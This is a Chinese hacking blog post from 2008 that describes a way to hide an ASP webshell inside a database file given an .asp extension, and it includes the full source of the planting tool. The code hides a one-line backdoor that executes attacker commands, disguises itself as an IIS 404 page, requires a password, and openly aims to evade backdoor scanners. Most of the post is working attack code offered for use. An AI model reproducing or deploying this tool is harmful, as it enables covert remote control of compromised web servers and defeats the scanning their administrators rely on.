数据加载中……


 

 登   陆

我的分类(专题)
数据加载中……

链接

Blog信息
数据加载中……

 



ASP后门隐藏
樱木花盗 发表于 2008-9-22 18:14:36

自从知道MDB的数据库后缀也能用ASP、数据库一样可以插马后,偶就设想过这个方法,然后今天下午花了2个小时的时间把一个隐藏ASP后门的方法实现了出来。

思路如下:
ASP中可以使用Adox.Catalog创建数据库,创建的时候直接把数据库的路径写成.ASP就行。
然后,连接数据库。
(在这里有一点需要注意,我以前在黑防看的一个介绍过ASP后门扫描的脚本中是用的Adodb.Connection的Execute方法执行SQL命令,这个就完全错完了,如果Execute不会被扫描出来,那一句话也不会被扫描出来了,Execute本身就在雷客图之类的工具的特征码扫描之列。)
这里我们再创建一个Adodb.RecordSet对象,然后用他来执行SQL命令。
先创建一个表,表中创建一个字段,然后向这个字段插入一句话的代码就行了。(实际测试中,我发现插入代码的时候最好在最前面和最后面加几个空格,否则,插入数据库后的代码都不是完整的。)
方法不复杂,大家应该都能明白的。
下面是我写的这个工具的截图:
填写信息:

创建表并插数据:

如果数据库存在的话就这样:

呵呵,如果是人家的数据库的话,得打扫下,把人家的东西搞乱了就不好了:

数据库中没有这个表的话:

被插过的数据库:

一些代码:

这个工具访问的时候需要密码,否则会返回404错误(呵呵,状态码都显示成404的哦)。
访问方式如:X.Asp?K=YourPassWord(大小写一定要和定义的一样)。

说这个可过大部分的ASP后门扫描工具,是因为我不知道有没有别的软件会检测".Create"特征码,因为Adox.Catalog必须使用Create方法创建数据库,而且这个组件在ASP中也不大常用。
嘿嘿,不过,在这个方法流传开前,这个工具应该还是能过很多的后门扫描的。
<% @Language = 'JavaScript' CodePage = '936' %>
<%
//<![Header[
Response.Buffer = true ;
//]]>
//<![Configs[
var Key = 'x' ; //访问密码
var XSName = 'New.Asp' ; //数据库名称(默认)
var CTTableName = 'X_Moyo' ; //数据表的名称
//小型后门代码(默认)
var XSCodz
 = '  '
 +String.fromCharCode(60)
 + '%e'
 +String.fromCharCode(88)
 +'eCute(Request("CMD"))%'
 +String.fromCharCode(62)
 + '  '
 ;
//]]>
//Void Main
var RequestKey = Request.QueryString('K')+'' ;
if (RequestKey != Key)
{
 Response.Status = '404 Not Found' ;
%><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html dir=ltr>
<head>
<style>
a:link   {font:9pt/11pt 宋体; color:FF0000}
a:visited  {font:9pt/11pt 宋体; color:#4e4e4e}
</style>
<META NAME="ROBOTS" CONTENT="NOINDEX">
<title>找不到网页</title>
<META HTTP-EQUIV="Content-Type" Content="text-html; charset=gb2312">
</head>
<script>
function Homepage(){
<!--
// in real bits, urls get returned to our script like this:
// res://shdocvw.dll/http_404.htm#http://www.DocURL.com/bar.htm
 //For testing use DocURL = "res://shdocvw.dll/http_404.htm#https://www.microsoft.com/bar.htm"
 DocURL = document.URL;
 
 //this is where the http or https will be, as found by searching for :// but skipping the res://
 protocolIndex=DocURL.indexOf("://",4);
 
 //this finds the ending slash for the domain server
 serverIndex=DocURL.indexOf("/",protocolIndex + 3);
  //for the href, we need a valid URL to the domain. We search for the # symbol to find the begining
 //of the true URL, and add 1 to skip it - this is the BeginURL value. We use serverIndex as the end marker.
 //urlresult=DocURL.substring(protocolIndex - 4,serverIndex);
 BeginURL=DocURL.indexOf("#",1) + 1;
 
 urlresult=DocURL.substring(BeginURL,serverIndex);
   
 //for display, we need to skip after http://, and go to the next slash
 displayresult=DocURL.substring(protocolIndex + 3 ,serverIndex);
 InsertElementAnchor(urlresult, displayresult);
}
function HtmlEncode(text)
{
    return text.replace(/&/g, '&amp').replace(/'/g, '&quot;').replace(/</g, '&lt;').replace(/>/g, '&gt;');
}
function TagAttrib(name, value)
{
    return ' '+name+'="'+HtmlEncode(value)+'"';
}
function PrintTag(tagName, needCloseTag, attrib, inner){
    document.write( '<' + tagName + attrib + '>' + HtmlEncode(inner) );
    if (needCloseTag) document.write( '</' + tagName +'>' );
}
function URI(href)
{
    IEVer = window.navigator.appVersion;
    IEVer = IEVer.substr( IEVer.indexOf('MSIE') + 5, 3 );
    return (IEVer.charAt(1)=='.' && IEVer >= '5.5') ?
        encodeURI(href) :
        escape(href).replace(/%3A/g, ':').replace(/%3B/g, ';');
}
function InsertElementAnchor(href, text)
{
    PrintTag('A', true, TagAttrib('HREF', URI(href)), text);
}
//-->
</script>
<body bgcolor="FFFFFF">
<table width="410" cellpadding="3" cellspacing="5">
  <tr>   
    <td align="left" valign="middle" width="360">
 <h1 style="COLOR:000000; FONT: 12pt/15pt 宋体"><!--Problem-->找不到网页</h1>
    </td>
  </tr>
 
  <tr>
    <td width="400" colspan="2">
 <font style="COLOR:000000; FONT: 9pt/11pt 宋体">正在查找的网页可能已被删除、重命名或暂时不可用。</font></td>
  </tr>
 
  <tr>
    <td width="400" colspan="2">
 <font style="COLOR:000000; FONT: 9pt/11pt 宋体">
 <hr color="#C0C0C0" noshade>
 
    <p>请尝试执行下列操作:</p>
 <ul>
      <li>如果是在“地址”栏中键入了网页地址,请检查其拼写是否正确。<br></li>
  
      <li>打开 <script>
   <!--
   if (!((window.navigator.userAgent.indexOf("MSIE") > 0) && (window.navigator.appVersion.charAt(0) == "2")))
   {
    Homepage();
   }
   //-->
    </script>
    主页,然后查找与所需信息相关的链接。</li>
   
      <li>单击<a href="javascript:history.back(1)">后退</a>按钮尝试其他链接。</li>
    </ul>
   
    <h2 style="font:9pt/11pt 宋体; color:000000">HTTP 错误 404 - 找不到文件<br> Internet 信息服务<BR></h2>
 
 <hr color="#C0C0C0" noshade>
 
 <p>技术信息(用于支持人员)</p>
 
<ul>
<li>详细信息:<br><a href="http://www.microsoft.com/ContentRedirect.asp?prd=iis&sbp=&pver=5.0&pid=&ID=404&cat=web&os=&over=&hrd=&Opt1=&Opt2=&Opt3=" target="_blank">Microsoft 支持</a>
</li>
</ul>
    </font></td>
  </tr>
 
</table>
</body>
</html><%
 Response.End() ;
}
var Do = Request('Do')+'' ;
if (Do == 'Clear')
{
 var DBP = Request('DBPath')+'' ;
 var DBC = Server.CreateObject('Adodb.Connection') ;
  DBC.Open('Provider=MicroSoft.Jet.Oledb.4.0; Data Source='+DBP) ;
  var RS = Server.CreateObject('Adodb.RecordSet') ;
  try
  {
   RS.Open('Drop Table ['+CTTableName+']', DBC, 1, 3) ;
   Response.Write('<P>数据清除成功</P>') ;
  }
  catch(e)
  {
   Response.Write('<P>看起来,数据库['+DBP+']里不存在表['+CTTableName+']</P>') ;
  }
  var RS = null ;
  DBC.Close() ;
 var DBC = null ;
 Response.End() ;
}
var isSubmit = Request.Form('Submit')+'' ;
if (isSubmit == 'undefined')
{
 Response.Write
 (
  '<Form Action="?K='+Key+'&Do=Insert" Method="Post">'+
  '放置目录:(最右须有"\\")<Br/><Input Type="Text" Name="XShell_Path" Value="'+Server.MapPath('.')+'\\" Style="Width: 300px;"><Br/>'+
  '文件名称:<Br/><Input Type="Text" Name="XShell_Name" Value="'+XSName+'" Style="Width: 300px;"><Br/>'+
  '代码:<Br/><TextArea Name="XShell_Codz" Style="Width: 300px;">'+XSCodz+'</TextArea><Br/>'+
  '<Input Type="Submit" Name="Submit" Value="提交" Style="Width: 300px; Height: 30px; Background: White;">'+
  '</Form>'
 ) ;
 Response.End() ;
}
var XSPath = Request.Form('XShell_Path')+'' ;
var XSName = Request.Form('XShell_Name')+'' ;
var XSBuildPath = XSPath+XSName ;
var XSCodz = Request.Form('XShell_Codz')+'' ;
//操作所用的SQL命令集合
var Sqls = {
 'Create Table' : 'Create Table ['+CTTableName+'] (Xzcv Text)',
 'Insert Data' : 'Insert Into ['+CTTableName+'] (Xzcv)Values(\''+XSCodz+'\')'
}
//创建数据库
var Adox = Server.CreateObject('Adox.Catalog') ;
 try
 {
  Adox.Create('Provider=MicroSoft.Jet.Oledb.4.0; Data Source='+XSBuildPath) ;
 }
 catch(e)
 {
  if (e.number == -2147217897)
  {
   Response.Write('<P>数据库已存在!<Br/>这个不知道是您以前建立的还是这个站的站长的,如果是后者的话,强烈建议您用过之后<A href="/BLOG/?K='+Key+"&Do=Clear&DBPath='+Server.URLEncode(XSBuildPath)+'">点击此处</A>清除插入的数据!</P>') ;
  }
 }
var Adox = null ;
//连接此数据库并插入代码
var DBC = Server.CreateObject('Adodb.Connection') ;
 DBC.Open('Provider=MicroSoft.Jet.Oledb.4.0; Data Source='+XSBuildPath) ;
 var RS = Server.CreateObject('Adodb.RecordSet') ;
  for (E in Sqls)
  {
   Response.Write('<P>SqlAction: ['+E+']<Br/>Command: ['+Server.HTMLEncode(Sqls[E])+']<Br/>') ;
   Response.Write('Running...<Br/>') ;
   Response.Flush() ;
   try
   {
    RS.Open(Sqls[E], DBC, 1, 3) ;
    Response.Write('OK.!</P>') ;
   }
   catch(e){
    Response.Write('Wrong.!</P>') ;
   }
  }
 var RS = null ;
 DBC.Close() ;
var DBC = null ;
var XSURL
 = 'Http://'
 + Request.ServerVariables('Server_Name')
 + ':'
 + Request.ServerVariables('Server_Port')
 + XSBuildPath.replace(Server.MapPath("/"), '').replace(/(\\)/g, '/')
 ;
Response.Write
(
 '<P>XShell.URL<Br/>'+
 XSURL+
 '</P>'
) ;
本文来源于:Mystical   博客 http://www.5sm.org/ , 原文地址:http://www.5sm.org/post/402.html


 


阅读全文 | 回复(3) | 引用通告 | 编辑
 


发表评论:

    昵称:
    密码: (游客无须输入密码)
    主页:
    标题:
    数据加载中……


Powered by Oblog.